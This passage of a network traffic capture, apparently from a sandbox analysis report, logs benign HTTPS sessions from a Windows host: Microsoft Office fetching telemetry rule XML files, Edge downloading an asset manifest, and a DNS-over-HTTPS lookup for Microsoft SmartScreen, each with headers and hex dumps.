2024-10-30 22:11:39 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221139Z-15b8d89586f6nn8zqg1h5suba800000003s000000000nhsk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221138Z-16849878b78nzcqcd7bed2fb6n00000000yg00000000ztgg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221139Z-16849878b78qwx7pmw9x5fub1c00000006v0000000005txd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221139Z-15b8d89586fmhjx6a8nf3qm53c00000002m00000000022nk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49876	13.107.246.57	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:39 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:39 UTC	564	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 9eac637b-e01e-0066-2018-2bda5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221139Z-15b8d89586fdmfsg1u7xrpfws00000000cv000000000dh2c Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-30 22:11:39 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-10-30 22:11:39 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-10-30 22:11:39 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-10-30 22:11:40 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-10-30 22:11:40 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-10-30 22:11:40 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-10-30 22:11:40 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-10-30 22:11:40 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-10-30 22:11:40 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49879	172.64.41.3	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 22:11:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA)@<
